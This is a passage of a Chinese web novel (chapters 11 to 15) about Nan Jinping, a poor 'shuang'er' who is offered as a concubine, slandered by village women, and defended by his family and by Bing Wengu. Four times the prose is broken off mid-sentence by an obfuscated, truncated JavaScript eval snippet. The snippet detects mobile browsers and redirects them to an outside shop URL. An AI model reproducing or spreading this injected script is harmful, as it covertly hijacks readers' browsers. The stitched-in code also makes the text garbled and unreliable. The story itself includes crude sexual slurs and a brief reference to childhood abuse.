就这么一口饭的功夫,南锦屏再抬头,南家人已经都吃完了。 南锦屏看着苗家夫妻空了的碗,心里一阵心疼,把自己碗里的野菜粥倒给夫妻二人,一人半碗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13068337|137863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “耶娘,我还不饿,你们吃吧。” 苗氏立刻就道:“胡说,就算这时候没秋芒,可是你也挖了一天野菜了,怎么可能不饿。你这孩子,赶紧自己吃了,别饿坏了身体。” 南父亲也不肯要,“锦哥儿,你还在长身体的时候,可饿不得。” 双儿本来就比女子难生养,南锦屏的孕痣又比别的双儿浅淡,淡到不仔细看,几乎看不到。 双儿的孕痣关乎到生养,孕痣越明显,越鲜红,越好生养。孕痣越淡,越不好怀孕。 如南锦屏这种孕痣,几乎就等于不能生。 南父不愿意相信自家孩子是个不能生的,一直坚信都是南家太穷,吃的不好,导致儿子营养跟不上才会如此。只要能让儿子吃饱,儿子的孕痣一定能养回来。 夫妻俩把粥强硬的还给南锦屏,南锦屏推辞不过,只能自己喝了。南家其他兄弟瞧见他们推辞,虽然一个个都没吃饱,但也没人趁机开口讨要。 他们都挺心疼家里这个唯一的双儿。 南锦屏吃了烤鸟肉和鸟蛋,只能说肚子里有了底,并没饱。他今年十八岁,正是肚子就是个无底洞的年纪,吃多少都不觉得饱。把粥给南家夫妻分,不是因为吃饱了,而是心疼耶娘。 南家夫妻不肯要,南锦屏三两口就自己吃光了。 刚收了碗筷,南家就来了一位不速之客,这人是南家的一房远亲,嫁到隔壁村的姨奶奶,周南氏。 对于这个姨奶,南家人都不喜欢。实在是周南氏为人不怎么样,也可以说是只对他们家不怎么样,对待外人可圆滑得很。 说来说去,都是因为南家穷闹得,这位外嫁的姨奶打从心眼里挺瞧不上周家。 平日里鲜少往来,年节都不走动,只有有事才会贵脚踏贱地,还每次都端的一副高高在上的态度。 知道周南氏的秉性,苗氏直接问道:“姨奶这次来有什么事?” 周南氏立刻就不乐意了,声音拔高,嗓音尖锐,吊着眉梢,端着长辈的身份指责道:“苗氏你说的这是什么话!周娃子你就这么看着你媳妇跟我说话,也不管管!” 周南氏口中的周娃子,也就是南父在心里翻个白眼,他又不是不知道自己这位姨奶的脾气秉性,一点不觉得自己媳妇哪里说错了。 可是面前的人毕竟是长辈,都在村里住着,他又不能真说的太直白,否则村里人可没有帮理不帮亲的说法,只会指责他不尊敬长辈,一人一口唾沫星子都能把他们夫妻淹死。 南父息事宁人道:“苗氏不会说话,我在这里替她给您道歉。” 对于这样轻飘飘的道歉,周南氏显然并不满意,继续高高在上地斥责道:“周娃子,不是姨奶说你,你们周家日子是过的穷困潦倒,但是也不能就此破罐子破摔,总要懂得尊老爱幼。就你媳妇这么对我说话,这要是搁在我家,我儿子一定早就大耳刮子抽上去了。” 竟是要南父打苗氏,这位姨奶可真敢开口! 11. 通房 南锦屏不乐意了,翻着白眼,小声嘀咕道:“这又不是你家。” “你这孩子怎么说话呢!”这回周南氏是真的生气了,刚才不过是借题发挥,实则就是瞧不起周家,耍威风罢了。 现在南锦屏直接怼到周南氏脸上,才是真不给周南氏面子。 周南氏本身就没把周家放在眼里,现在还被这个在她看来,生下来就应该给她家小娘为奴为婢的南锦屏如此下脸,就想狠狠给他一个教训,直接把人打服,也省着日后不听她家小娘子的话, 周南氏心里这般盘算着,抬起手就狠狠地朝南锦屏扇去。 南锦屏讨厌周南氏不假,可是碍于孝道不可能真还手,但不还手可以躲啊。 南锦屏仗着年轻,手脚利落,快速闪身躲开了。 一巴掌落空,周南氏更怒了,她没想到南锦屏这个生来低贱的双儿竟然敢躲她的巴掌,追上去还要再打,“你竟敢躲,看我今天不打死你!” 南家兄弟们不干了,来他们家耍威风就算了,竟然还要在他们家当着他们的面打他们兄弟。 一个个冲上来把南锦屏藏在身后,南家大郎凶狠地瞪着周南氏,“我锦弟哪里说错了,这是你家吗?” 南家二郎跟着道:“你敢动我锦哥一根手指头试试!” 南家三郎同样满面戾气道:“你敢打我大哥,我就敢打你重孙子。” 这位姨奶年纪大,也只有她的重孙子才比南三郎小,南三郎能打得过。 四个大小伙子个个满脸凶恶地瞪着周南氏,周南氏真有些发怵。这里毕竟不是她家,没人给她撑腰,要是真把人惹毛了,南家几个小子发了昏,说不得真能动手。 周南氏举着的巴掌落也不是,不落也不是,讪讪的,好没面子。 苗氏碍于辈分不能骂回去,指桑骂槐:“你们这是干什么呢,这里是你们家,不是你们撒泼的地方。” 苗氏那是骂兄弟几个,骂的分明是周南氏,就差指着她脑门说她撒泼了。 周南氏哆嗦着,“南娃子,你就这么干看着我在你家里被欺负,就不管管。” 南父烦死这个老婆子了,板着脸不耐烦道:“姨奶来有啥事就直说吧,我家里不比姨奶家清闲,还有一堆活没干呢,没时间扯闲话。” 周南氏气的要死,觉得南家不知好歹,她可是给南家送来一桩天大的好事,结果南家就这态度! 周南氏恨不能掉头就走,可是想到孙女交代的事情还没办成,只能硬生生忍耐下来。 周南氏自己找个地方坐下,缓了口气道:“我给你家报喜来了。” 苗氏撇嘴,真有好事这个老太婆还能想到他们家。 南家人都知道这个道理,谁也没接周南氏的话茬。 周南氏继续道:“我给你家南锦屏寻了一门天大的好姻缘。” 南锦屏的心砰砰乱跳两下,听到姻缘二字,他就想到了邴温故。 难不成是邴温故托周南氏上门说亲来了? 转念又想到,邴温故可能都不认识周南氏,就算认识,知道他们两家关系不怎么样,也不可能请她来说亲。 周南氏不是邴温故请来的,又会是谁呢? 不知道为什么,想通人不是邴温故请来的后,南锦屏的心不那么慌了,脸也不热了。 南锦屏的心倒是安了,苗氏的心却乱了。 苗氏下意识就道:“是谁家?” 南锦屏今年十八岁了,这个年纪不管是女孩还是汉子或者双儿,在庸朝都属于大龄剩男了。 要是汉子,那就是老光棍,姑娘家,那就是老姑娘了,总之都不是什么好话,更不要说南锦屏是一个双儿了,那就更没少被人议论了。 苗氏为了南锦屏的亲事都急死了,家里双儿这么大岁数,左邻右舍愣是一家上门说亲的都没有。就算她上赶着去问,人家一听她起了一个话茬,立刻就吓得掉头跑了,生怕她赖上似的。 周南氏见苗氏急切的样子,不复刚才那般冷漠,得意极了。 她就说吧,他们家这么大一个双儿嫁不出去,没人稀得要,咋可能不急。 “这姻缘可是顶顶好的一门姻缘,打着灯笼都找不到,你家南锦屏若是能嫁进去,那可真是你们南家祖坟上冒青烟了。” 周南氏道:“那户人家姓李,你们肯定听过,镇上的李家米铺——前后两个大宅子那个,他家的掌柜,也是李家米铺的直近亲属。” 周南氏这大气喘的,不认真听,还以为他说的是李家米铺的东家。 周南氏抖着腿,继续道:“李掌柜一个月月俸就有二两银子,家里可富裕了,我这次给你说的就是他家最小的小郎君,二十五岁,比南锦屏没大几岁。” 听到周南氏说的这么好,苗氏不但没有欢喜,反而忧虑重重。 她自家人知道自己事,不是她瞧不上自家孩子,觉得南锦屏配不上好姻缘,而是朝代风气如此。 庸朝男尊女卑,男子社会地位比女子高,女子社会地位比双儿高。 双儿社会地位最低,虽然不是奴才,但是社会儿地位也跟奴才差不多,区别只是没有那一张卖身契,不能随意发卖罢了。 不谈皇亲贵胄,就只说寻常百姓家,都看不上双儿,谁家好儿郎都不会娶一个双儿做正头夫郎,纳回去玩玩还成,玩够了随手就送人了。 要是哪家儿郎娶了一个双儿做正夫郎,不管自身优秀与否,平白就会矮了别人一头,少不了讥讽和奚落。 因这种种,他们村里最穷的人家都不愿意娶双儿,去年隔壁村一个五十多岁说不上媳妇的老光棍 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周南氏眼里的不屑明显的都要流出来了,“人家李小郎君那可是读书人,明年下场参加院试准能得中,妥妥的秀才公。哭着喊着上赶着要给李小郎君做妾的人有得是,人家秀才公能看得上你家一个双儿!” 不是妾,那更不可能是继室。 苗氏皱眉,“难不成想让我家锦哥儿做外室?那不可能,我家锦哥儿绝对不可能给人做外室,便是一辈子不嫁人,也不可能给人做外室。” 无媒无聘,说好听是外室,说不好听那就是妓子。 “你家双儿又不是什么倾国倾城的美人,人家秀才公要养外室也不可能养他那么丑的。”周南氏翻了一个白眼。 不是妾,不是外室,更不是继室,这是什么姻缘? 苗氏不耐烦周南氏绕官司了,“姨奶,你有话就直说吧。” 周南氏这才道:“人家秀才公看上的人是我家大孙女。你们也知道我家小娘生的花容月貌,倾国倾城,这不一眼就给秀才公瞧上了,非我家小娘不娶!” 苗氏困惑,怎么听着跟他家锦哥儿没什么关系呢。 周南氏得意的继续炫耀道:“也是我家小娘心善,这不寻思着你家双儿没人要,嫁也嫁不出去,就想着帮你家小双儿一把。” 周南氏的语气,一股子高高在上的施舍意味,“天可怜见的,也是个苦命人。” “我家小娘愿意给你家双儿一个陪嫁的名额,跟着她一起去李家享受荣华富贵。” 说到这里,苗氏总算听明白了。 陪嫁不过是面上说的好听,实际上就是没有名分的通房。 没事的时候陪李家主子睡睡觉,有事的时候,就为奴为婢,伺候李家上上下下一大家子。 这还不如人家正经的奴才,最起码单纯的奴才不用陪主子睡觉,还有几两银子的卖身钱。而他家锦哥儿分文没有。 12.村子的各种流言蜚语 周南氏继续道:“你家双儿跟着我家小娘,有我家小娘顾看着,日子总不会太难过。也算你家南锦屏有福气,遇上我孙女这样的善心人,这辈子倒能得个善终……” 苗氏那么好脾气的一个人,气的浑身直哆嗦,嘴唇煞白。 苗氏瞄到墙边的扫把,一把就抄了起来,朝着周南氏劈头盖脸打去,“滚,你给我滚出去,以后都不许再来我家。” 周南氏被接连打了好几下,脸给扫帚枝刮出一条血道子,痛的嗷嗷叫唤,“南娃子,南娃子,你就这么看着你媳妇打我,你就不怕我告你不孝。” 南父气的哆嗦,也不忍了,“你算我哪门子的长辈,还告我不孝,给你脸了!都给我打她!” 南家兄弟一窝蜂似的冲上去,粗鲁的把人薅出南家,不客气道:“以后少来我家,我家可不欢迎你!” 砰地一声,南大郎把篱笆门关上。 南家闹吵吵的,村里人早就出来看热闹了,见周南氏被赶出来,双眼都亮了,像是看见骨头的狗,凑上去询问。 周南氏丝毫不觉得自己理亏,还觉得是自家心善,做好事积德行善呢,噼里啪啦把事情讲了。 末了,周南氏道:“大家伙都来评评理,你们说说这南家到底知不知道好赖,这明明是一件大好事,要不是我家心善,看他家双儿可怜,寻思给他家双儿一条活路,这么好的事,能轮到他家那个卑贱的双儿。” “我今个把话撂这,就他家那个低贱的双儿,要不给我家小娘做陪嫁,这辈子都嫁不出去!” “一辈子过的凄凄惨惨,熬到老了,都得没人管他,饿死都没人知道,尸体臭了烂了,生蛆引来苍蝇和老鼠,才会被人发现!” 经过周南氏这么一闹,不管事实真相如何,南家到底有没有同意这门亲事,反正最后就是南锦屏跟通房挂上钩,在众人心里留下南锦屏只配做通房的印象。 这下好了,连原本一些穷到说不上媳妇,年级大了有些心思浮动的老光棍都瞧不上南锦屏了。 李氏抱着胳膊,态度高高在上,用施舍般的语气道:“原来我还想着当做善事了,给南家小哥儿做个媒呢。就我娘家村里有一个老光棍,今年五十岁了,前几天不小心摔断了腿,留下了残疾,一个人过日子不方便,就想找个人照顾,我还寻思着正好说给南家小哥儿,南家小哥也算有个好归宿,现在这么一闹还是算了吧。” 张李氏跟着道:“我本来也寻思帮着南家那个小哥儿寻摸着一个身体残疾的老鳏夫,帮着把人嫁出去,本来那边答应考虑考虑,结果现在这事一出,那边立刻就回绝了。” 赵王氏道:“本来以南家小哥双儿的性别就不好嫁,命好嫁给身体有残疾的男人也算是善终,现在闹了这么一出,就别想着嫁出去了,搞不好最后真得给人当一个没名没份的通房。” “什么通房,说得好听,那不就是妓子!”王氏撇嘴,“南家小哥要是真当了妓子,必须叫里正把他们南家撵出村子。咱们上河村可不能出一个妓子,不然以后咱们村子的郎君小娘子还怎么嫁人,哪个好人家敢同咱们村子里的人家结亲,这不是连累整个村子吗?” 李氏又道;“再说那些个妓子最不要脸了,把这么个□□□□放在村子里你们放心呀,就不怕他去勾引你们家里的汉子!” 张李氏立刻道:“我家可不怕。我们家汉子身上可没钱,一文钱都没有,家里所有银钱都在我手上把着呢,想去也去不了。” 李氏撇嘴,“你以为没钱就没事了。我可听说了,那种人,千人骑万人压的,身子早就对那事上瘾了,一日没睡男人就浑身难受。而且一个男人还不能满足,得好几个呢,瘾犯了,不要钱也行。” “真的吗?那可怎么办,那岂不是我男人危险了,不行,以后我可得看住我家男人,可不能让南锦屏看到他!”王氏一脸惊恐,他家男人今年都五十多岁了,牙齿掉的没剩下几颗,走路都恨不得一步三喘,比南父还大了十几岁。 村里人八卦这些的时候,并没有背着人,就那么站在村口大剌剌的讲,人来人往的,谁都能听到一耳朵。 南锦屏和南家人从山上挖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081956|137863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野菜下来,正好就给听了个正着。 从小长到大,南锦屏听惯了这些话,小时候,他七八岁那会,甚至听过比这还过分的话。 那会儿村子里有几个比他大几岁的小男孩,让他脱光了给他们玩。 南锦屏的心早就被伤的千疮百孔,现在已经铸就了铜墙铁壁,听了这些话,心里虽然难过,却能平静应对。 南家人却受不了,苗氏一下就冲进了妇人堆里,一个人对上五六个妇人丝毫不惧,先是一人一个嘴巴子扇过去。 “我打死你们这帮胡说八道的长舌妇,一天就知道胡咧咧,舌头给你们拔了!”苗氏发了疯似的打人,那模样就似一个疯妇。 一开始几个妇人没有防备,被苗氏抽了几个巴掌后就反应过来了。被正主抓住当众嚼舌根,虽然有点心虚,但是几个人也不会因此就干站着等挨打,反应过来后就一起还手。 苗氏纵然发着疯,凭借一股不要命的架势又抓又挠,让几个妇人都挂了彩。但到底双拳难敌四手,几个妇人联合起来,苗氏很快就落入下风。 南锦屏和南家兄弟见母亲落入下风,跟着冲了上去。 南大郎抓着李氏的头发往后薅,把她从苗氏身上薅下来,啪啪两个巴掌就扇在她脸上。 “我让你嘴碎,我让你胡说八道,我让你打我娘!” 南大郎一个十几岁的大小伙子,年轻力壮,撕吧两三个老娘们轻而易举。 村里人见南家几个小子似乎发了真怒,一副要把人打死的模样,就劝南父道:“你快让他们住手吧,真把人打坏了可咋办。” 南父心里早就憋着一股火,不过碍于自己一个男人不能冲上去打几个老娘们,根本不管。 最后村里人看不下去,有人去这几家喊人,也有人去里正那里叫人,还有其他村人上前,这才把几人分开。 南家人发了疯似的打人,李氏等人都没落到好,轻的脸给扇肿了,李氏王氏这两个说的最狠的,头发都被薅下好几把,头皮秃了几块,像是墙皮上脱落的丑陋的斑秃,很是难看。 13.猎到傻狍子 里正看一眼都觉得辣眼睛。 李氏嚎道:“里正,你可要给我做主啊,今天要是不叫南家人付出代价,我就不活了。” “行了行了,都给我闭嘴!”里正大吼一声,瞅了瞅被打的凄惨的村里八卦妇人,又瞅了瞅几乎没受伤的南家人,知道这件事情不可能善了。 “苗氏,你拿一两银子出来赔给这几家,这事就算了了。”里正道。 苗氏立刻嚷道:“凭什么,她们说的那些话,打死活该,凭什么要我家赔他们银子。” 李氏王氏等人同样不愿意,李氏嚎道:“他们家南大郎那个兔崽子,一个大老爷们拽着我的头皮,就那么啪啪往我脸上招呼。头皮都给我薅秃了好几块,以后能不能长出来还两说,要是长不出来,我这就毁容了,这可是一辈子的事情,那么一点钱就想买我一辈子。” 王氏跟着嚎道:“我牙齿都给南家几个小兔崽子打松了,那么点钱赔偿我自己都不够。” 那几个脸被打肿的,其实养养就好了,本来没想讹钱,看李氏和王氏叫唤的欢,就跟着嚷嚷。 里正气的指着李氏王氏等人,“你们几个都给我消停的,要不是你们嘴臭,南家能打你们!就你们说的那些话,打死都不过分。” 里正对几个妇人家里的汉子道:“这事你们几个也别觉得不服气,换位思考,要是有人这么说你们家里小娘子小郎君,你看看你们疯不疯!” 转头看着苗氏道:“这事虽然说是你们家占理,但是也不该动手。特别是南大郎,他一个汉子打女人,这事怎么都说不过去。两方都有错,各打五十大板,一两银子你家必须出。” 如果只是女人间打架,里正就让他们散了,这汉子动手不赔偿不行,不然以后村里那帮闲汉就该有样学样了。 南家知道这钱赔也得赔,不陪也得陪,只能捏着鼻子认下。 南家整个家底也就七八百文,还外借了几百文,才把钱赔上。 那几个不重的,里正一家就给个十文,剩下的给李氏和王氏平分了,一人得了四百多文钱。 李氏和王氏还有些不服气,让里正给好一通骂,并且扬言,他们再敢背后说人是非,不用别人动手,他就一人给她们一个嘴巴子,才把人给撵走。 南锦屏回到家中,有些手足无措,自觉给家里惹了那么大的祸事,把家底都赔出去了,自责得很,“耶娘,对不起,都是因为我,家里才会赔偿出那么多钱,我以后一定少出现在人前,他们看不见我,想来就不会再骂我了。” 苗氏立刻就道:“这事不怨你,那帮八婆就是见不得别人好,她们想编排谁,你就算躲到耗子洞里,她们也不会放过你。对于这样的人,就不能惯着。” 南大郎也道:“赔钱也得打她们,不然她们还以为咱家好欺负,以后都得骑到咱们头上拉屎。” 南父心疼的看着南锦屏,“那帮臭婆娘一天就知道胡咧咧,嘴比粪坑都臭,锦哥儿你别把那些话放在心上。” 南大郎的妻子顾氏扁着嘴巴,“耶娘,不管怎么说,锦哥儿的亲事确实得提上日程了,免得影响家里其他孩子的婚事。” 本就觉得自己给家里惹了一场大锅的南锦屏听到南家大嫂的话,更加无地自容,恨不能就此消失。 苗氏恶狠狠瞪了一眼顾氏,骂道:“不会说话就闭嘴,没人当你是哑巴。” 顾氏不服,她又没有说错,苗氏又不是不知道村里现在怎么议论她们家,家里其他几个兄弟的婚事肯定得受影响。 反正也不是她的孩子,受影响就受影响,都不成亲才好,还给家里省银子了。 至于她家小子,现在不过一个奶娃娃,要想说亲还得十几年。只要到时候不影响她儿子亲事就成,要是影响了她儿子的亲事,谁也不成,她肯定得给这个大伯子找个人家嫁了。 夜间,南家夫妻躺在床上说悄悄话,苗氏发愁道:“当家的,锦哥儿的婚事可怎么办?村里人说的忒难听。” 南父道:“不管怎样,咱家锦哥儿都不能草草嫁了,更不能给人当通房,对方再怎样读书好都不行。那怕以后他能当大官,也不中。大不了,咱们就留锦哥儿一辈子,一口饭罢了,家里还是能供得起。” 苗氏道:“我当然不可能随随便便把锦哥儿嫁了,锦哥儿又不是只是你的孩子。我是心疼锦哥儿,这孩子命怎么就那么苦,从小就饱受流言蜚语,你看锦哥儿的性子都被影响成什么样了,今个还觉得是他做错了。” 南父重重叹口气,苗氏小声嘀咕道:“要是这会儿有个健全的汉子跳出来主动要娶锦哥儿就好了,穷点丑点都没什么。” 南锦屏因为白日里的事睡不着觉,烦闷的坐在院子中,无意听到耶娘的对话,心中不禁想到邴温故。 不知道他闹了这么一出丢人事,邴温故还愿不愿意要他了。早知道今日,当初答应邴温故好了。 南家同村人打起来的时候,邴温故那会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13096122|137863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正在深山,并不知道。 邴家日子太难过了,邴温故这几日身体养的大好了,寻思着进山找些大型野物改善一下邴家生活,就往深山里走了走。 小山外围被村人猎的没什么猎物,深山里倒是有,不过太危险,村里人几乎不去,怕遇到大虫和野猪,这两样动物最凶残,遇到的人没有幸免的。 不过这些对于邴温故而言都不是问题,邴温故在战斗一线征战了二百多年,真遇上野猪或者大虫那也是来送菜的。说起来,邴温故还有些馋野猪肉,要是遇上大虫也行,虎皮虎鞭什么的还能卖钱。 本来邴温故想要猎野猪的,可是半路上遇到了傻狍子,邴温故就打了一只傻狍子。 这东西傻得很,特别好猎,邴温故几乎没花费多少力气就猎到了。 猎到傻狍子后,邴温故第一时间想到的就是自己的小夫郎。小夫郎太瘦了,真该好好吃肉补补。 还有,他之前跟小夫郎提起的亲事,也不知道他家小夫郎考虑的怎么样了。 邴温故是真的着急,试问谁当了二百五十年的老光棍不着急,他恨不得今天立刻娶媳妇。 邴温故扛着猎物下山,往村中走去,心里琢磨着到时候给小夫郎送去哪部分的肉。 邴温故精神力强悍,还没进村,就听到村人站在村口叽叽喳喳说着什么。 一开始,邴温故没放在心上,村里人就喜欢八卦,东家长西家短,就没他们不议论的人家。 可是听着听着,邴温故就听到自家小夫郎的名字,八卦的人说的神神秘秘,隐隐晦晦,不清不楚。邴温故只能大约听明白似乎村里人背后编排小夫郎,被南家人听到,给打了一顿,还赔偿了一两银子。 这时候几个八卦的妇人发现了邴温故,看到他肩上扛的狍子肉,注意力立刻就从南家的闹剧转移到邴温故猎到的傻狍子上了。 “这是傻狍子?” “邴大郎这是你猎到的?” “不可能吧,你这小身板能猎到傻狍子,该不会是我家男人在山上挖的陷阱抓到的,让你给捡去了吧?” “邴大郎,你不是最瞧不上咱农家人,从来不肯上山吗?这几天怎么频繁往山上钻?” “哎呀,邴大郎,你这狍子怎么猎到的,怎么身上都没有伤,不会真是在陷阱里捡到的吧?我家男人可也在山上设下陷阱了,是不是我家的?”还有人过来动手动脚查看邴大郎抗在肩上的傻狍子,话里话外都想分一杯羹。 14.报复? 无论是邴温故,还是原主邴大郎,都不愿意同村人讲话。 邴温故乃是冷漠,谁也不放在心上眼里的漠然,旁人是生是死,全同他无关,就是立时在他眼前死去,他都不会有所触动。 邴大郎却是骨子里瞧不起人,尤其是这些地里刨食的农人,没读过书,没文化,粗俗不知礼,整日里只会讲究这个讲究那个。跟他不是一个世界里的人,勉强混在一起,只会降低自己的身价。 邴温故并不想改变这点,他用力一抖肩上的狍子,没怎么用力,就把围在周围伸手抓狍子的几个妇人抖了一个趔趄。 妇人们直觉被一股大力抖的一个跟头,勉强站稳就怒道:“邴大郎,你发什么疯,差点把我弄摔……” 妇人话没说完,就对上邴温故冰冷没有一丝感情的双眼,那双眼睛冰冷冷的盯着他们,不像是看有血有肉的生命,倒像是看一个没有生命体的物件,仿佛路边的杂草,也仿佛他肩上扛的死掉的狍子。 那妇人被邴温故冷冰冰的眼神吓得一个哆嗦,一股冰冷的寒意渗进四肢百骸。 大家伙都看到邴温故冰冷的眼神,一时间没人敢吱声,空气静默。邴温故却不理会这些人,扛着狍子在众人恐惧的目光中回到邴家。 院子里的钱氏一看清邴温故身上的狍子,就挺着大肚子欢喜的迎上来,“大哥,你猎到什么了,狍子吗?这一道扛回来累不累,快给我吧,可别把你这读书人的身板累坏。” 屋里的梁氏和邴父几人听到动静跑出来,就看见院子里摊着的狍子,众人不自觉开始咽口水。 梁氏也馋,却还是道:“大郎,你身体才好,我都说了不让你进山,你怎么还进山,要是……” 邴温故打断梁氏的担忧,虽然竭力控制自己的冷意,但是声音里还是泄露出一丝冷,“娘,你跟我进屋,我有些事情问你。” 梁氏窥见儿子的模样太吓人,没敢多问,老老实实跟着邴温故进屋。 “娘,今天南家发生什么事情了?那些人都编排什么了?”二人一进来,邴温故就开门见山问道。 梁氏这下总算知道儿子脸色为什么这么吓人了,原来是因为南家小哥。 梁氏觉得儿子太过关注南家小哥儿了,已经超越了救命恩人的距离,就劝道:“大郎啊,咱家这情况,你知道的,太穷了,你要真是为了南家小哥儿好,就……” “娘,我要知道今天到底是怎么回事?”邴温故没有大吵发怒,可是却还是让梁氏打了一个哆嗦。实在是,邴温故的声音太冷了,冷的好像能结出冰棱。 梁氏不敢再说有的没的,把自己知道的说了一遍,末了解释道:“当时我并不在家,是刚才回来的时候听邻居说的。” 梁氏的声音越来越小,因为她在儿子的眼中看到了一闪而逝的一抹猩红。 此时的邴温故在梁氏的眼中,就似要即将狂暴的猛兽,好似下一刻就会择人而噬,特别恐怖。 梁氏真怕邴温故下一刻就会抄起刀把那几个编排南家小哥儿的妇人砍死,颤颤巍巍劝道:“大郎呀,你可千万要冷静,那几个妇人已经被南家人打的很惨了,也算造到报应了。” “嗯,我心中有数,娘,你走吧。”邴温故声音平平,只听声音,绝对听不出怒气,但越是这样才越是吓人,就像暴风雨前的宁静。 梁氏到底没敢再多说,她怕哪句话说不对,反倒刺激了邴温故。 梁氏刚从邴温故屋子里出来,钱氏就觍着脸凑上来道:“娘,大哥打来的狍子咱们晚上做点?” “吃吃吃,就知道吃,家里都没粮了不知道!吃什么,留着明个让你大哥背去镇上换粮食,家里粮食都没有了。”梁氏瞪了钱氏一眼。 钱氏不敢跟婆婆顶嘴,偷偷往邴大郎屋里瞥。经过这几日相处,钱氏发现邴大郎是个在吃食上大方的人,往常猎到什么小东西,婆婆不同意,邴大郎都会执意要家人做了补身体,可是今个这么大猎物猎回来,苗氏不让吃,大伯子竟然愣是没吱声。 屋子里,邴温故来到铜镜旁照了照,发现他的眼中闪动着若隐若现的点点猩红,看着就像是从地狱里刚爬到人间的修罗,确实吓人。 这样没法见夫郎,肯定会把人吓到,只能等平静下来了。 夜里,邴温故刚打开大门要出去,一道女声在身后响起,“大郎,这么晚了,你要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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15.把梁氏拉下水 正好这时候李氏和王氏从村子里走出来,两个人昨天被打成那样,闹了那么大一通没脸,今个已经能有说有笑了。 两个人挎着个篮子,幸灾乐祸地说着昨晚赵家和张家的倒霉事。 李氏笑呵呵道:“张李氏和赵王氏可真倒霉,这晚上起夜还能一个摔掉牙,一个崴了脚脖子跌进茅坑。” 王氏道:“平时这两个就不是个好的,搞不好是遭了报应。” 梁氏心想,你两个还幸灾乐祸呢,当心乐极生悲,下个倒霉的就成了你俩。 不过想到自家大郎,梁氏还是开口问道:“两位嫂子,这是要上山挖野菜?” “是呀。”李氏斜了眼梁氏,问道:“你今个怎么有闲心在村子里闲逛,还不抓紧上山挖野菜?你家里还有米下锅了吗?” 王氏酸溜溜道:“你还不知道呢吧,他家邴大郎昨个打到傻狍子了,人家现在可不缺肉吃。” “啥?猎到傻狍子了?就她家邴大郎那个白斩鸡似的小身板?”李氏语气充满了浓浓的不屑。 王氏撇撇嘴,阴阳怪气道:“我说梁氏,既然你家现在日子过好了,你家欠我那几十文钱该还给我了吧,说来说去,不过你家一斤狍子肉钱。” 梁氏尴尬道:“那什么,再等等,等过几日的。那个,我来是想问两位嫂子伤怎么样了,要不在家休养几日,过几天再上山吧!” 昨个那场大战,可是二人的痛脚,被梁氏这么大喇喇提起,二人立刻都变的怒气冲冲。 王氏怪腔怪调道:“我家可没猎到狍子肉,可养不起。” 李氏亦道:“咋的,你家终于揭不开锅,一粒米都没有了。所以你在这拦着不让我们上山挖野菜,好叫你们家都挖去。这心眼可都给你长去了。” 二人一把推开梁氏,就往山上走。 梁氏真是好心,她直觉昨晚上赵张两家的倒霉事有儿子的手笔,下意识不想李氏和王氏上山,就怕她家大郎藏在哪里,正伺机报复这二人呢。 见李氏和王氏不听劝,执意上山,梁氏赶紧回家取了一个柳筐匆匆跟上去。 这一路上,梁氏就跟在二人身后,二人往哪边走,梁氏就往那边去,搞的李王恶人频频瞪梁氏,说了不少难听的话,就这样,梁氏也没离开。 其实与其说是梁氏担心李王二人,不如说梁氏担心邴大郎,怕他冲动下搞出人命。 李氏给王氏使了一个眼色,王氏瞥了一眼梁氏,趁着梁氏一个不注意,悄悄跟在李氏身后,往另一个方向悄摸快步走去。 李王二人脱离了梁氏视线后,李氏才恨恨道:“今个梁氏怎么回事?一直跟在咱两屁股后头。” “是很奇怪,从前还好,自从你们两家亲事掰了后,梁氏不就一直看你们全家鼻子不是鼻子,眼睛不是眼睛的吗?怎么今天一反常态,还主动与你笑眯眯的说话。说实话,看她冲你笑。我都瘆得慌,就怕她使坏。” “谁知道她呢!哼!”李氏挎着竹篮,冷声一声,“反正她再怎么殷勤示好,我家二娘子都已经嫁人了。至于我家里其他的小娘子,也不是她谄媚谄媚就能搞到手的……” “啊!!!”李氏说这话,没注意脚下,踩到一颗小石子上,脚脖子崴了一下,整个人就往一旁摔去。李氏摔倒的时候,手下意识就去拉一旁的王氏。 王氏没有防备,被李氏大力一拽,跟着一声尖叫就摔了下去。 